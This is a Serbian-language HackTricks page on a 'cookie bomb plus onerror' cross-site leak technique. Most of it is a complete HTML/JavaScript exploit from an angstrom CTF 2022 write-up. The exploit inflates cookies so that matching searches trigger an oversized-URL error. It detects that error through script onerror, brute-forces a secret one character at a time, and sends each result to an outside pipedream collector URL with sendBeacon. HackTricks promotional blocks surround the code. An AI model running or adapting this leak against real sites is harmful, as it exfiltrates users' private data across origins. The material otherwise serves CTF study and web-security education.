# Cookie Bomb + Onerror XS Leak

<details>

<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

* Da li radite u **cybersecurity kompaniji**? Želite li da vidite **vašu kompaniju reklamiranu na HackTricks-u**? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitter-u** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).

</details>

Sledeći **skript** preuzet sa [**ovde**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/) iskorišćava funkcionalnost koja omogućava korisniku da **ubaci bilo koju količinu kolačića**, a zatim učitava fajl kao skript znajući da će pravi odgovor biti veći od lažnog. Ako uspe, odgovor je preusmeravanje sa rezultujućim URL-om koji je predugačak, **prevelik za obradu od strane servera pa vraća grešku sa HTTP status kodom**. Ako pretraga ne uspe, ništa se neće desiti jer je URL kratak.
```html
<>'";<form action='https://sustenance.web.actf.co/s' method=POST><input id=f /><input name=search value=a /></form>
<script>
const $ = document.querySelector.bind(document);
const sleep = (ms) => new Promise(r => setTimeout(r, ms));
let i = 0;
const stuff = async (len=3500) => {
let name = Math.random();
$("form").target = name;
let w = window.open('', name);
$("#f").value = "_".repeat(len);
$("#f").name = i++;
$("form").submit();
await sleep(100);
};
const isError = async (url) => {
return new Promise(r => {
let script = document.createElement('script');
script.src = url;
script.onload = () => r(false);
script.onerror = () => r(true);
document.head.appendChild(script);
});
}
const search = (query) => {
return isError("https://sustenance.web.actf.co/q?q=" + encodeURIComponent(query));
};
const alphabet = "etoanihsrdluc_01234567890gwyfmpbkvjxqz{}ETOANIHSRDLUCGWYFMPBKVJXQZ";
const url = "//en4u1nbmyeahu.x.pipedream.net/";
let known = "actf{";
window.onload = async () => {
navigator.sendBeacon(url + "?load");
await Promise.all([stuff(), stuff(), stuff(), stuff()]);
await stuff(1600);
navigator.sendBeacon(url + "?go");
while (true) {
for (let c of alphabet) {
let query = known + c;
if (await search(query)) {
navigator.sendBeacon(url, query);
known += c;
break;
}
}
}
};
</script>
```
<details>

<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

* Da li radite u **cybersecurity kompaniji**? Želite li da vidite vašu **kompaniju reklamiranu na HackTricks-u**? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitter-u** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).

</details>